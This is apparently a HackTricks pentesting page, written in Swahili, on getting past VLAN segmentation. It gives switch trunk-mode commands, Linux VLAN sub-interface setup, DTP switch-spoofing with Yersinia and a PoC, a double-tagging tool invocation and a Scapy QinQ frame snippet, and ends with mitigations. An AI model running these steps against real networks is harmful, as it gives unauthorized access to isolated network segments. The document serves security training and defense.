6.4 KiB
Lateral VLAN Segmentation Bypass
{{#include ../../banners/hacktricks-training.md}}
Ikiwa ufikiaji wa moja kwa moja kwa swichi upo, segmentation ya VLAN inaweza kupuuziliwa mbali. Hii inahusisha kubadilisha usanidi wa bandari iliyounganishwa kuwa hali ya trunk, kuanzisha interfaces za virtual kwa VLAN zinazolengwa, na kuweka anwani za IP, ama kwa njia ya kidinamik (DHCP) au kwa njia ya statiki, kulingana na hali (kwa maelezo zaidi angalia https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Kwanza, utambulisho wa bandari maalum iliyounganishwa unahitajika. Hii kwa kawaida inaweza kufanywa kupitia ujumbe wa CDP, au kwa kutafuta bandari kupitia include mask.
Ikiwa CDP haifanyi kazi, utambulisho wa bandari unaweza kujaribiwa kwa kutafuta anwani ya MAC:
SW1(config)# show mac address-table | include 0050.0000.0500
Kabla ya kubadilisha kuwa hali ya trunk, orodha ya VLAN zilizopo inapaswa kuandaliwa, na vitambulisho vyao kubainishwa. Vitambulisho hivi kisha vinapewa kiunganishi, na kuwezesha ufikiaji wa VLAN mbalimbali kupitia trunk. Bandari inayotumika, kwa mfano, inahusishwa na VLAN 10.
SW1# show vlan brief
Kuhamia katika hali ya trunk kunahusisha kuingia katika hali ya usanidi wa kiunganishi:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Kuhamisha kwenye hali ya trunk kutasababisha usumbufu wa muda katika muunganisho, lakini hii inaweza kurejeshwa baadaye.
Mikondo ya virtual kisha inaundwa, inatolewa vitambulisho vya VLAN, na kuanzishwa:
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
Kisha, ombi la anwani linafanywa kupitia DHCP. Vinginevyo, katika hali ambapo DHCP haiwezekani, anwani zinaweza kuwekwa kwa mikono:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Mfano wa kuweka anwani ya IP ya kudumu kwenye kiunganishi (VLAN 10):
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
Connectivity inajaribiwa kwa kuanzisha ombi la ICMP kwa lango la kawaida la VLANs 10, 20, 50, na 60.
Hatimaye, mchakato huu unaruhusu kupita kwa segmentation ya VLAN, hivyo kuruhusu ufikiaji usio na kikomo kwa mtandao wowote wa VLAN, na kuweka jukwaa kwa hatua zinazofuata.
Mbinu Nyingine za VLAN-Hopping (hakuna CLI ya swichi yenye mamlaka)
Njia ya awali inadhani ufikiaji wa kuthibitishwa wa console au Telnet/SSH kwa swichi. Katika shughuli za ulimwengu halisi, mshambuliaji kwa kawaida anakuwa ameunganishwa kwenye bandari ya kawaida ya ufikiaji. Hizi zifuatazo ni hila za Layer-2 ambazo mara nyingi zinakuwezesha kuhamasisha kwa upande bila kuingia kwenye mfumo wa uendeshaji wa swichi:
1. Switch-Spoofing na Protokali ya Trunking ya Kijadi (DTP)
Swichi za Cisco ambazo zina DTP imewezeshwa zitafurahia kujadili trunk ikiwa mwenza anadai kuwa swichi. Kuunda fremu moja ya DTP “desirable” au “trunk” kunabadilisha bandari ya ufikiaji kuwa trunk ya 802.1Q inayobeba VLANs zote zinazoruhusiwa.
Yersinia na PoCs kadhaa zinafanya mchakato huo kuwa wa kiotomatiki:
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Mara tu bandari inapoenda kwenye trunk unaweza kuunda 802.1Q sub-interfaces na pivot kama ilivyoonyeshwa katika sehemu iliyopita. Mifumo ya kisasa ya Linux haitaji tena vconfig; badala yake tumia ip link:
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
2. Double-Tagging (Native-VLAN Abuse)
Ikiwa mshambuliaji yuko kwenye native (untagged) VLAN, fremu iliyoundwa yenye michwa miwili ya 802.1Q inaweza "kuruka" hadi VLAN ya pili hata wakati bandari imefungwa katika hali ya ufikiaji. Zana kama VLANPWN DoubleTagging.py (2022-2024 refresh) inafanya kiotomatiki sindikizo:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
Packet walk-through:
- Outer tag (1) inakatwa na swichi ya kwanza kwa sababu inalingana na native VLAN.
- Inner tag (20) sasa inadhihirika; fremu inasambazwa kwenye trunk kuelekea VLAN 20.
Teknolojia hii bado inafanya kazi mwaka 2025 kwenye mitandao ambayo inacha native VLAN kuwa ya kawaida na inakubali fremu zisizo na tag.
3. QinQ (802.1ad) Stacking
Mifumo mingi ya biashara inasaidia Q-in-Q huduma ya mtoa huduma encapsulation. Pale ambapo inaruhusiwa, mshambuliaji anaweza kutengeneza tunnel ya trafiki yoyote iliyo na tag ya 802.1Q ndani ya mtoa huduma (S-tag) ili kuvuka maeneo ya usalama. Capture kwa 802.1ad ethertype 0x88a8 na jaribu kupiga tag ya nje kwa kutumia Scapy:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
Mapendekezo ya Kijamii
- Zima DTP kwenye bandari zote zinazokabiliwa na watumiaji:
switchport mode access
+switchport nonegotiate
. - Badilisha VLAN asilia kwenye kila trunk kuwa VLAN isiyotumika, black-hole na uweke alama:
vlan dot1q tag native
. - Punguza VLAN zisizohitajika kwenye trunks:
switchport trunk allowed vlan 10,20
. - Lazimisha usalama wa bandari, DHCP snooping & ukaguzi wa ARP wa dynamic ili kupunguza shughuli za Layer-2 zisizo za kawaida.
- Prefer private-VLANs au segmentation ya L3 badala ya kutegemea tu kutenganisha 802.1Q.
Marejeleo
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN attack toolkit – https://github.com/casterbytethrowback/VLANPWN
- Twingate "What is VLAN Hopping?" (Aug 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
{{#include ../../banners/hacktricks-training.md}}